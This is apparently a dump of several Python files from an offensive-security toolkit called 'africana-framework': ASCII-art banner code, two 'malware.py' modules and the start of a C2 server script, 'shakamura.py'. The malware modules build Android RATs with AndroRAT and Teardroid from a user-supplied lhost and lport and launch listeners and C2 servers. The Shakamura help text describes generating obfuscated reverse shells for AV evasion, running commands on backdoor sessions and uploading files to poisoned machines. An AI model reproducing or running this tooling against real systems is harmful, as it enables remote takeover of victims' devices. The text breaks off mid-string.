⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣅⡒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⣾⣿⠟⢻⠟⠁⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠊ ⢀⡾⠋⠀⠀⠀⠀⠀⠀⢀⡨⣻⠋⠸⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⡤⠤⢄⡒⠯⠖⠁ ⠘⠁⠀⠀⠀⠀⠀⠀⠴⢫⠞⠁⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠻⣿⣿⣿⠿⣿⣿⢿⣿⣿⢿⣿⣿⣿⣿⡿⢿⣿⣿⢿⣿⣟⢻⣿⣿⡛⠻⠷⠬⠉⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠁⠀⠉⠀⠈⠉⠀⠈⠉⠀⠉⠉⠀⠉⠉⠀⠉⠛⠢⠈⠉⠙⠂⠀ """ + bcolors.ENDC) if menu == 17: print(color() + r""" / ,.. / ,' '; ,,.__ _,' /'; . :',' ~~~~ '. '~ :' ( ) )::, '. '. .=----=..-~ .;' ' ;' :: ':. '" (: ': ;) \\ '" ./ '" '"⠀ """ + bcolors.ENDC) if menu == 18: print(color() + r""" |\ /) /\_\\__ (_// | `>\-` _._ //`) \ /` \\ _.-`:::`-._ // ` \|` ::: `|/ | ::: | |.....:::.....| |:::::::::::::| | ::: | \ ::: / \ ::: / `-. ::: .-' //`:::`\\ // ' \\ |/ \\⠀⠀ """ + bcolors.ENDC) if menu == 19: print(color() + r""" ______ /_____/\ /_____\\ \ /_____\ \\ / /_____/ \/ / / /_____/ / \//\ \_____\//\ / / \_____/ / /\ / \_____/ \\ \ \_____\ \\ \_____\/ """ + bcolors.ENDC) if menu == 20: print(color() + r""" _.-;;-._ '-..-'| || | '-..-'|_.-;;-._| '-..-'| || | '-..-'|_.-''-._|⠀⠀ """ + bcolors.ENDC) if menu == 21: print(color() + r""" ^...^ <_* *_> \_/ .|||||||||. .|||||||||. ||||||||||||| ||||||||||||| |||||||||||' .\ /. `||||||||||| `||||||||||_,__o o__,_||||||||||' """ + bcolors.ENDC) if menu == 22: print(color() + r""" .---------. |.-------.| ||>run# || || || |"-------'| .-^---------^-. | ---~ AFRIC| "-------------' """ + bcolors.ENDC) if menu == 23: print(color() + r""" O O , o o .:/ o ,,///;, ,;/ o o)::::::;;/// >::::::::;;\\\ ''\\\\\'" ';\ ';\ """ + bcolors.ENDC) if menu == 24: print(color() + r""" .----. .---------. | == | |.-"'''"-.| |----| || || | == | || || |----| |'-.....-'| |::::| `"")---(""` |___.| /:::::::::::\" _ " /:::=======:::\`\`\ `'''''''''''''` '-' """ + bcolors.ENDC) if menu == 25: print(color() + r""" ___ _ ___ _ ___ _ ___ _ ___ _ [(_)] |=| [(_)] |=| [(_)] |=| [(_)] |=| [(_)] |=| '-` |_| '-` |_| '-` |_| '-` |_| '-` |_| /mmm/ / /mmm/ / /mmm/ / /mmm/ / /mmm/ / |____________|____________|____________|____________| | | | ___ \_ ___ \_ ___ \_ [(_)] |=| [(_)] |=| [(_)] |=| '-` |_| '-` |_| '-` |_| /mmm/ /mmm/ /mmm/ """ + bcolors.ENDC) if menu == 26: print(color() + r""" O o _\_ o >('> \\/ o\ . //\___= '' """ + bcolors.ENDC) if menu == 27: print(color() + r""" , , |\---/| / , , | __.-'| / \ / __ ___.-' ._O| .-' ' : _/ / , . . | : ; : : _/ | | .' __: / | : /'----'| \ | \ |\ | | /| | '.'| / || \ | | /|.' '.l \\_ || || '-' '-''-' """ + bcolors.ENDC) if menu == 28: print(color() + r""" . / V\ / ` / << | / | / | / | / \ \ / ( ) | | ________| _/_ | | <__________\______)\__) """ + bcolors.ENDC) if menu == 29: print(color() + r""" ,__ _, ___ '.`\ /`| _.-"``` `'. ; | / .' `} _\|\/_.-' } _.-"a { } .-` __ /._ { }\ '--"` `""` `\ ; { } \ | } __ _\ }\ \ | /;` / :. }` \ \ | | | .-' / / / '. '._ .'__/-' ````.-'.' '-._'-._ ``` ```` `"''` """ + bcolors.ENDC) if menu == 30: print(color() + r""" \\_// __/". /__ | || || ⠀""" + bcolors.ENDC) if menu == 31: print(color() + r""" _ ,-----' | | // : | | // : | | // : | `-----._| _ _/___\_ ||] _____[_______]_[~~-- [] [____________________] '/ ||| / ||| ,___,'./ ||| \ ||| ______| ||| / ||| I==|| ||| \ ||| __||__ -----||-/-----------||-o--o---o--- """ + bcolors.ENDC) if menu == 32: print(color() + r""" ___________________ | _______________ | | |XXXXXXXXXXXXX| | | |XXXXXXXXXXXXX| | | |XXXXXXXXXXXXX| | | |XXXXXXXXXXXXX| | | |XXXXXXXXXXXXX| | |_________________| _[_______]_ ___[___________]___ | [_____] []|__ | [_____] []| \__ L___________________J \ \___\/ ___________________ /\ (__) """ + bcolors.ENDC) if menu == 33: print(color() + r""" ___________ || || _______ ||Africana || | _____ | || || ||_____|| ||_________|| | ___ | | + + + + | | |___| | _|_|_ \ | | (_____) \ | | \ ___ | | ______ \__/ \_| | | _ | _/ | | | ( ) | / |_______| |___|__| / \_____/ """ + bcolors.ENDC) if menu == 34: print(color() + r""" . - ~ ~ ~ - . .. _ .-~ ~-. //| \ `..~ `. || | } } / \ \ (\ \\ \~^..' | } \ \`.-~ o / } | / \ (__ | / | / `. `- - ~ ~ -._| /_ - ~ ~ ^| /- _ `. | / | / ~-. ~- _ |_____| |_____| ~ - . _ _~_-_ """ + bcolors.ENDC) if menu == 35: print(color() + r""" _____ | ___ | || || A.F ||___|| | _ | |_____| /_/_|_\_\----. /_/__|__\_\ ) ( [] """ + bcolors.ENDC) if menu == 36: print(color() + r""" _,.---.---.---.--.._ _.-' `--.`---.`---'-. _,`--.._ /`--._ .'. `. `,`-.`-._\ || \ `.`---.__`__..-`. ,'`-._/ _ ,`\ `-._\ \ `. `_.-`-._,``-. ,` `-_ \/ `-.`--.\ _\_.-'\__.-`-.`-._`. (_.o> ,--. `._/'--.-`,--` \_.-' \`-._ \ `---' `._ `---._/__,----` `-. `-\ /_, , _..-' `-._\ \_, \/ ._( \_, \/ ._\ `._,\/ ._\ `._// ./`-._ `-._-_-_.-' """ + bcolors.ENDC) if menu == 37: print(color() + r""" ,.---. ,,,, / _ `. \\\\ / \ ) |||| /\/``-.__\/ ::::/\/_ {{`-.__.-'(`(^^(^^^(^ 9 `.=========' {{{{{{ { ( ( ( ( (-----:= {{.-'~~'-.(,(,,(,,,(__6_.'=========. ::::\/\ |||| \/\ ,-'/\ //// \ `` _/ ) '''' \ ` / `---'' """ + bcolors.ENDC) if menu == 38: print(color() + r""" ___________ |.---------.| || || || || || || |'---------'| `)__ ____(' [=== -- o ]--. __'---------'__ \ [::::::::::: :::] ) `'''''''''' ''`/T\ \_/ """ + bcolors.ENDC) if menu == 39: print(color() + r""" .===========. | | | | /|\ | | /A|F\ | |___________| |_________-_|_,-. [_____________] ) .,,,,,,,,,, ,,. (_ /,,,,,,,,,,, ,,,\ (>`\ (______.-``-._____) \__) """ + bcolors.ENDC) if menu == 40: print(color() + r""" The good Shepherd is Jesus. __ _ .-.' `; `-._ __ _ (_, .-:' `; `-._ ,'o"( (_, ) (__,-' ,'o"( )> ( (__,-' ) `-'._.--._( ) ||| |||`-'._.--._.-' ||| ||| """ + bcolors.ENDC) if menu == 41: print(color() + r""" ,.-----__ ,:::://///,:::-. /:''/////// ``:::`;/|/ /' |||||| :://'`\ .' , |||||| `/( e \ -===~__-'\__X_`````\_____/~`-._ `. ~~ ~~ `~-' """ + bcolors.ENDC) if menu == 42: print(color() + r""" .::::::::.. ..::::::::. ::::::::::::: ::::::::::::: :::::::::::' .\ /. `::::::::::: `::::::::::_,__o o__,_::::::::::' """ + bcolors.ENDC) if menu == 43: print(color() + r""" .--. |__| .-------. |=.| |.-----.| |--| || A.F || | | |'-----'| |__|~')_____(' ~) [=======] () """ + bcolors.ENDC) if menu == 44: print(color() + r""" __ ..=====.. |==| || || |= | _ || || |^*| _ |=| o=,===,=o |__||=| |_| _______)~`) |_| [=======] () """ + bcolors.ENDC) if menu == 45: print(color() + r""" {) c==//\ _-~~/-._|_| /'_,/, //'~~~\;;, `~ _( _||_..\ | ';; /'~|/ ~' `\<\> ; " | / | " " " """ + bcolors.ENDC) if menu == 46: print(color() + r""" | | + \ \\.G_.*=. `(#'/.\| .>' (_--. _=/d ,^\ ~~ \)-' ' / | a:f ' ' """ + bcolors.ENDC) if menu == 47: print(color() + r""" _(\_/) ,((((^`\ (((( (6 \ ,((((( , \ ,,,_ ,((((( /"._ ,`, ((((\\ ,... ,(((( / `-.-' ))) ;' `"'"'""(((( ( ((( / ((( \ )) | | (( | . ' | )) \ _ ' `t ,.') ( | y;- -,-""'"-.\ \/ ) / ./ ) / `\ \ |./ ( ( / /' || \\ //'| || \\ _//'|| || )) |_/ || \_\ |_/ || `'" \_\ """ + bcolors.ENDC) if menu == 48: print(color() + r""" _ ____ /( ) _ \ / // /\` \, ||--||--||- \| |/ \| ||--||--||- ~^~^~^~~^~~~^~~^^~^^^^^^^^^^^^ """ + bcolors.ENDC) if menu == 49: print(color() + r""" _ |-| __ |=| [Ll] "^" ====`o _ __ |-| [Ll] |=| ====`o"^" ____ """ + bcolors.ENDC) if menu == 50: print(color() + r""" . \_____)\_____ /--v____ __`< )/ ' """ + bcolors.ENDC) if menu == 51: print(color() + r""" . ":" ___:____ |"\/"| ,' `. \ / | O \___/ | ~^~^~^~^~^~^~^~^~^~^~^~^~ __v_ (____\/{ """ + bcolors.ENDC) if menu == 52: print(color() + r""" _ _ __ ___.--'_`. .'_`--.___ __ ( _`.'. - 'o` ) ( 'o` - .`.'_ ) _\.'_' _.-' `-._ `_`./_ ( \`. ) //\` '/\\ ( .'/ ) \_`-'`---'\\__, ,__//`---'`-'_/ \` `-\ /-' '/ ` ' """ + bcolors.ENDC) if menu == 53: print(color() + r""" _ _ (.)_(.) _ ( _ ) _ / \/`-----'\/ \ __\ ( ( ) ) /__ ) /\ \._./ /\ ( )_/ /|\ /|\ \_( """ + bcolors.ENDC) if menu == 54: print(color() + r""" _______ ______________ |[_____]| |.------------.| |[_____]| || || |[====o]| || || |[_.--_]| || || |[_____]| || || | :| ||____________|| | :| .==.|"" ...... |.==.| :| |::| '-.________.-' |::|| :| |''| (__________)-.|''||______:| `""`_.............._\""`______ /:::::::::::'':::\`;'-.-. `\ /::=========.:.-::"\ \ \--\ \ \`''''''''''''''''`/ \ \__) \ `''''''''''''''''` '========' """ + bcolors.ENDC) if menu == 55: print(color() + r""" .----. |C>_ | __|____|__ | ______--| `-/.::::.\-'a `--------' """ + bcolors.ENDC) if menu == 56: print(color() + r""" ....._ `. ``-. .-----.._ `, `-. .: /` : `".. ..-`` : / ...--:::`n n.`::... : `:`` .` :: / `. ``---..:. `\ .` ._: .-: :: `. .-`` : : :_\\_/: : .:: `. / : / \-../:/_.`-` \ : :: _.._ q` p ` /` \| :-` ``(_. ..-----hh``````/-._: `: `` / ` E: / : _/ : _..-`` l--`` """ + bcolors.ENDC) if menu == 57: print(color() + r""" ___________________________ |[] []| |[] []| | | | . . | | ` _` | | ` ()|_|` | | ` ` | | ` . . ` | | ________________ | | | ____ | | | | | | | | | | | | | | | | | | | | |() | |_ _| | ()| |) | -- | (| |_____|[]______________|\___/ """ + bcolors.ENDC) if menu == 58: print(color() + r""" ___,___,_______,____ | :::|///./||'|| \ | :::|//.//|| || AF) | | :::|/.///|!!!| | | _______________ | | |:::::::::::::::| | | |_______________| | | |_______________| | | |_______________| | | |_______________| | ||_| africana ||_| |__|_______________|__| """ + bcolors.ENDC) if menu == 59: print(color() + r""" ,--. .--. / \. ./ \ / /\/ " \/\ \ / _/ /~~~v~~~\ \_ \ / /####|####\ \ ; /\{#####|#####}/\ \ |_/ {#####|#####} \_: | {#####|#####} | | /{#####|#####}\ | | / {#####|#####} \ | | / {#####|#####} \ | | \ \#####|#####/ / | | \ \####|####/ / | \ \ \###|###/ / / \ / ~~~~~ \ / """ + bcolors.ENDC) if menu == 60: print(color() + r""" _______ |.-----.| ||x . x|| ||_.-._|| `--)-(--` __[=== o]___ |:::::::::::|\ `-=========-`() """ + bcolors.ENDC) if menu == 61: print(color() + r""" a@@@@a a@@@@@@@@@@@@a a@@@@@@by@@@@@@@@a a@@@@@S@C@E@S@W@@@@@@a @@@@@@@@@@@@@@@@@@@@@@ `@@@@@@`\\//'@@@@@@' ,, || ,, God is good. /(-\ || /.)m ,---' /`-'||`-'\ `----, /( )__)) || ((,==( )\ _ /_//___\\ __|| ___\\ __\\ ____ `` `` /MM\ '' '' """ + bcolors.ENDC) if menu == 777: print(color() + r""" .-=====-. | .'''. | | | | | | | | | | '---' | | | | | .-================-' '-================-. j| _ | g|.'o\ __ | s| '-.'. .'o.` | '-==='.'.=========-. .-========.'.-'===-' '.`'._ .===, | _.-' / '._ '-./ ,//\ _| _.-' _.' '-.| ,//' \-' ` .-' `//'_`--; ;.-' `\._ ;| | \`-' . | |_.-'-._| \ _'_ / |; -:- | || -.- \ |; .\ / `'\'`\-; ;` '. `_/ |,`-._; .; `;\ `.-'-; | \ \ | | `\ \ | | ) | | | / /` / | | /| | | | / | / | / |/ /| | \ / / | | /o | | | |_/ | | | | | | | | | | | | | | | '-=====-' """ + bcolors.ENDC) beauty = banners() if ' __name__' == '__main__': sys.exit(beauty())
29,307
Python
.py
907
20.485116
89
0.095843
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,750
malware.py
CHEGEBB_africana-framework/src/payload/malware.py
import sys import time import subprocess from src.core.banner import * from src.core.bcolors import * class generator(object): def __init__(self): pass def shellz(self): process = subprocess.Popen('bash externals/shells/shells.py ', shell = True).wait() return process def shakamura(self): a = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lport" + bcolors.GREEN + ")# " + bcolors.ENDC) process = subprocess.Popen('python3 externals/shakamura/shakamura.py -n {0}'.format(a), shell = True).wait() return process def powerjoker(self): print("\n") subprocess.Popen('ip addr', shell = True).wait() ip = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lhost" + bcolors.GREEN + ")# " + bcolors.ENDC) port = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "port" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = subprocess.Popen('python3 externals/joker/joker.py -l {0} -p {1}'.format(ip, port), shell = True).wait() return process def meterpeter(self): process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/meterpeter-master; pwsh meterpeter.ps1', shell = True).wait() return process def havoc(self): process = subprocess.Popen('havoc server -d -v', shell = True).wait() return process def teardroid(self): malware = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "output name" + bcolors.GREEN + ")# " + bcolors.ENDC) process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/Teardroid-phprat; python3 Teardroid.py -b {0}'.format(malware), shell = True).wait() return process def androrat(self): print("\n") subprocess.Popen('ip addr', shell = True).wait() ip = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lhost" + bcolors.GREEN + ")# " + bcolors.ENDC) port = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lport" + bcolors.GREEN + ")# " + bcolors.ENDC) malware = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "output name" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/AndroRAT;python3 androRAT.py --build -i {0} -p {1} -o {2}'.format(ip, port, malware), shell = True).wait() process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/AndroRAT;python3 androRAT.py --shell -i {0} -p {1}'.format(ip, port), shell = True).wait() return process rat = generator() if ' __name__' == '__main__': sys.exit(rat())
3,204
Python
.py
46
62.543478
198
0.635757
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,751
malware.py
CHEGEBB_africana-framework/src/c2/malware.py
import sys import time import subprocess from src.core.banner import * from src.core.bcolors import * class generator(object): def __init__(self): pass def shellz(self): process = subprocess.Popen('bash externals/shells/shells.py ', shell = True).wait() return process def shakamura(self): a = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ": " + bcolors.GREEN + "(" + bcolors.RED + "lport" + bcolors.GREEN + ")# " + bcolors.ENDC) process = subprocess.Popen('python3 externals/shakamura/shakamura.py -n {0}'.format(a), shell = True).wait() return process def powerjoker(self): print("\n") subprocess.Popen('ip addr', shell = True).wait() ip = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lhost" + bcolors.GREEN + ")# " + bcolors.ENDC) port = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "port" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = subprocess.Popen('python3 externals/joker/joker.py -l {0} -p {1}'.format(ip, port), shell = True).wait() return process def meterpeter(self): os.system('clear') process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/meterpeter-master; pwsh meterpeter.ps1', shell = True).wait() return process def havoc(self): os.system('clear') process = subprocess.Popen('havoc client & havoc server -d -v', shell = True).wait() return process def teardroid(self): malware = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "output name" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/Teardroid-phprat; python3 Teardroid.py -b {0}'.format(malware), shell = True).wait() return process def androrat(self): print("\n") subprocess.Popen('ip addr', shell = True).wait() ip = input(bcolors.GREEN + "\n(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lhost" + bcolors.GREEN + ")# " + bcolors.ENDC) port = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "lport" + bcolors.GREEN + ")# " + bcolors.ENDC) malware = input(bcolors.GREEN + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.ENDC + ":" + bcolors.RED + "output name" + bcolors.GREEN + ")# " + bcolors.ENDC) os.system('clear') process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/AndroRAT;python3 androRAT.py --build -i {0} -p {1} -o {2}'.format(ip, port, malware), shell = True).wait() process = subprocess.Popen('cd /usr/local/opt/africana-framework/externals/AndroRAT;python3 androRAT.py --shell -i {0} -p {1}'.format(ip, port), shell = True).wait() return process rat = generator() if ' __name__' == '__main__': sys.exit(rat())
3,323
Python
.py
49
60.591837
209
0.632159
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,752
shakamura.py
CHEGEBB_africana-framework/externals/shakamura/shakamura.py
#!/usr/bin/env python3 # # Author: Panagiotis Chartas (r0jahsm0ntar1) # # This script is part of the Shakamura framework: # https://github.com/r0jahsm0ntar1/Shakamura import argparse from subprocess import check_output from Core.common import * from Core.settings import Shakamura_Settings, Core_Server_Settings, TCP_Sock_Handler_Settings, File_Smuggler_Settings, Loading from Core.logging import clear_metadata from hashlib import md5 from requests import get as requests_get # -------------- Arguments -------------- # parser = argparse.ArgumentParser() parser.add_argument("-p", "--port", action="store", help = "Team server port (default: 6501).", type = int) parser.add_argument("-x", "--afric-port", action="store", help = "Shakamura server port (default: 8080 via http, 443 via https).", type = int) parser.add_argument("-n", "--netcat-port", action="store", help = "Netcat multi-listener port (default: 4443).", type = int) parser.add_argument("-f", "--file-smuggler-port", action="store", help = "Http file smuggler server port (default: 8888).", type = int) parser.add_argument("-i", "--insecure", action="store_true", help = "Allows any Shakamura client (sibling server) to connect to your instance without prompting you for verification.") parser.add_argument("-c", "--certfile", action="store", help = "Path to your ssl certificate (for Shakamura https server).") parser.add_argument("-k", "--keyfile", action="store", help = "Path to the private key for your certificate (for Shakamura https server).") #parser.add_argument("-s", "--skip-update", action="store_true", help = "Do not check for updates on startup.") parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") args = parser.parse_args() args.skip_update = True # Parse the bind ports of servers & listeners Shakamura_Settings.certfile = args.certfile Shakamura_Settings.keyfile = args.keyfile Shakamura_Settings.ssl_support = True if (args.certfile and args.keyfile) else False Shakamura_Settings.bind_port = args.afric_port if args.afric_port else Shakamura_Settings.bind_port if Shakamura_Settings.ssl_support: Shakamura_Settings.bind_port_ssl = args.afric_port if args.afric_port else Shakamura_Settings.bind_port_ssl Core_Server_Settings.bind_port = args.port if args.port else Core_Server_Settings.bind_port TCP_Sock_Handler_Settings.bind_port = args.netcat_port if args.netcat_port else TCP_Sock_Handler_Settings.bind_port File_Smuggler_Settings.bind_port = args.file_smuggler_port if args.file_smuggler_port else File_Smuggler_Settings.bind_port # Check if there are port number conflicts defined_ports = [Core_Server_Settings.bind_port, TCP_Sock_Handler_Settings.bind_port, File_Smuggler_Settings.bind_port] if Shakamura_Settings.ssl_support: defined_ports.append(Shakamura_Settings.bind_port_ssl) else: defined_ports.append(Shakamura_Settings.bind_port) if check_list_for_duplicates(defined_ports): exit(f'[{DEBUG}] The port number of each server/handler must be different.') # Define core server security level Core_Server_Settings.insecure = True if args.insecure else False # Import Core from Core.shakamura_core import * # -------------- Functions & Classes -------------- # def haxor_print(text, leading_spaces = 0): text_chars = list(text) current, mutated = '', '' for i in range(len(text)): original = text_chars[i] current += original mutated += f'\033[1;38;5;82m{text_chars[i].upper()}\033[0m' print(f'\r{" " * leading_spaces}{mutated}', end = '') sleep(0.05) print(f'\r{" " * leading_spaces}{current}', end = '') mutated = current print(f'\r{" " * leading_spaces}{text}\n') def print_banner(): os.system('clear') print(f'''{GREEN} ⠀⠀⠀⠀⠀⠀⠀⠀⣠⡖⠒⢤⣠⡤⠀⢒⣲⣬⣭⣭⣭⣶⣤⣤⡤⠤⠒⣼⡅⠀ ⠀⠀⠀⠀⠀⠀⠀⠲⡟⣉⣙⣲⠔⠘⠿⠿⣿⣿⣿⣿⣿⣿⣿⣌⡳⣴⣿⣿⠃⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢳⣘⠟⠀⠀⠀⢠⡾⠛⢉⠛⡿⡟⡳⢬⣭⣴⡌⠻⡇⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠰⢞⣭⠀⠀⠀⠀⢸⣇⠫⠉⢓⡶⠃⢉⢶⣭⡽⢀⠀⢱⠀⠀ ⠀⠀⠀⠀⠀⠀⢘⣇⣾⡿⠀⠀⠀⠀⠹⢿⣿⣿⡏⠀⠁⠀⠀⠹⡀⠈⠉⡟⠀⠀ ⠀⠀⠀⠀⣠⣶⠞⣽⣿⡕⣡⠀⠀⠀⢀⣠⣭⣿⠇⠀⡴⣶⢾⣶⡽⡄⠀⡇⠀⠀ ⠀⠀⣴⣿⣿⠇⣸⣿⣿⠞⣡⠞⡄⠀⠞⠻⠿⢿⣧⣀⢻⡏⣾⡿⠇⣷⣾⡇⠀⠀ ⢠⣾⣿⡟⠁⠀⢼⣿⣿⡟⣡⡾⠃⣠⢶⣶⣦⣜⠿⣿⡦⠥⠿⢋⣰⣿⣿⣿⡄⠀ ⢸⣿⠏⣠⡀⠀⣿⣿⣿⣿⣿⡤⣐⡁⢻⣿⣿⣿⡿⣷⣶⣿⣿⣿⣿⣿⣿⣿⣿⡄ ⢹⣟⣼⣷⣿⡀⣻⣿⣿⣿⣿⣿⡿⢠⣄⡄⡁⠈⠘⢁⢿⣿⣿⣿⣿⣿⣿⣿⣿⠃ ⠨⠿⡿⢿⣿⣷⣿⣿⠿⣿⣿⣟⣴⣼⣿⣇⣷⣷⣷⣾⣿⣿⣿⣿⣿⣿⣿⡟⠇⠀ ⠀⠀⠀⠈⠹⠉⠀⠀⠀⠘⠙⢻⠟⢿⣿⣿⣿⣿⣿⣿⣿⣿⠻⣿⠿⡿⠇⠁⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠟⠻⠟⢻⠟⠿⠁ ''') print_meta() def print_meta(): print(f'{BLUE} ~[ Shakamura C3 - Part of africana-framework ]~{END}') print(f'{BLUE} ~[ Subscribe] https://youtube.com/@RojahsMontari ]~{END} \n') print(' ~[ Managed By r0jahsm0ntar1 ]~') print(' ~[ Version: 0xJ ]~') print(' ~[ Shells : 8 ]~') print(' ~[ Implants: 0 ]~\n') class PrompHelp: commands = { 'connect' : { 'details' : f''' Connect with another instance of Shakamura (sibling server). Once connected, you will be able to see and interact with foreign shell sessions owned by sibling servers and vice-versa. Multiple sibling servers can be connected at once. The limit of connections depends on the number of active threads a Shakamura instance can have (adjustable). In case you forgot the team server port number (default: 6501), use "sockets" to list Shakamura related services info. Read the Usage Guide or check my YouTube channel (@HaxorTechTones) for details. connect <IP> <TEAM_SERVER_PORT>''', 'least_args' : 2, 'max_args' : 2 }, 'generate' : { 'details' : f''' Generate a reverse shell command. This function has been redesigned to use payload templates, which you can find in Shakamura/Core/payload_templates and edit or create your own. Main logic: generate payload=<OS_TYPE/HANDLER/PAYLOAD_TEMPLATE> lhost=<IP or INTERFACE> [ obfuscate encode ] Usage examples: generate payload=windows/netcat/powershell_reverse_tcp lhost=eth0 encode generate payload=linux/shakamura/sh_curl lhost=eth0 - The ENCODE and OBFUSCATE attributes are enabled for certain templates and can be used during payload generation. - For info on a particular template, use "generate" with PAYLOAD being the only provided argument. - To catch Shakamura https-based reverse shells you need to start Shakamura with SSL. - Ultimately, one should edit the templates and add obfuscated versions of the commands for AV evasion.''', 'least_args' : 0, # Intentionally set to 0 so that the Payload_Generator class can inform users about missing arguments 'max_args' : 7 }, 'exec' : { 'details' : f''' Execute a command or file against an active backdoor session. Files are executed by being http requested from the Http File Smuggler. The feature works regardless if the session is owned by you or a sibling server. exec <COMMAND or LOCAL FILE PATH> <SESSION ID or ALIAS> *Command(s) should be quoted.''', 'least_args' : 2, 'max_args' : 2 }, 'repair' : { 'details' : f''' Use this command to manually correct a backdoor session's hostname/username value, in case Shakamura does not interpret the information correctly when the session is established. repair <SESSION ID or ALIAS> <HOSTNAME or USERNAME> <NEW VALUE>''', 'least_args' : 3, 'max_args' : 3 }, 'shell' : { 'details' : f''' Enables an interactive pseudo-shell prompt for a backdoor session. Press Ctrl+C to disable. shell <SESSION ID or ALIAS>''', 'least_args' : 1, 'max_args' : 1 }, 'alias' : { 'details' : f''' Set an alias for a backdoor session to use instead of session ID. alias <ALIAS> <SESSION ID>''', 'least_args' : 2, 'max_args' : 2 }, 'reset' : { 'details' : f''' Reset a given alias to the original session ID. reset <ALIAS>''', 'least_args' : 1, 'max_args' : 1 }, 'kill' : { 'details' : f''' Terminate a self-owned backdoor session. kill <SESSION ID or ALIAS>''', 'least_args' : 1, 'max_args' : 1 }, 'help' : { 'details' : f'''Really?''', 'least_args' : 0, 'max_args' : 1 }, 'siblings' : { 'details' : f''' Print info about connected Sibling Servers. Siblings are basically other instances of Shakamura that you are connected with.''', 'least_args' : 0, 'max_args' : 0 }, 'threads' : { 'details' : f''' Shakamura creates a lot of threads to be able to handle multiple backdoor sessions, connections with siblings and more. In file Shakamura/Core/settings.py there is a BoundedSemaphore that works as a thread limiter to prevent resource contention, set by default to 100 (you can of course change it). This command lists the active threads created by Shakamura, to give you an idea of what is happening in the background, what is the current value of the thread limiter etc. Note that, if the thread limiter reaches 0, weird things will start happening as new threads (e.g. backdoor sessions) will be queued until: thread limiter > 0.''', 'least_args' : 0, 'max_args' : 0 }, 'sessions' : { 'details' : f'''Prints info about active backdoor shell sessions.''', 'least_args' : 0, 'max_args' : 0 }, 'backdoors' : { 'details' : f'''Prints specifics about the shell and listener types of active backdoor shell sessions.''', 'least_args' : 0, 'max_args' : 0 }, 'sockets' : { 'details' : f'''Prints Shakamura related socket services info.''', 'least_args' : 0, 'max_args' : 0 }, 'id' : { 'details' : f'''Print server's unique ID.''', 'least_args' : 0, 'max_args' : 0 }, 'upload' : { 'details' : f''' Upload files to a poisoned machine (files are auto-requested from the http file smuggler). The feature works regardless if the session is owned by you or a sibling server. You can run the command from Shakamura's main prompt 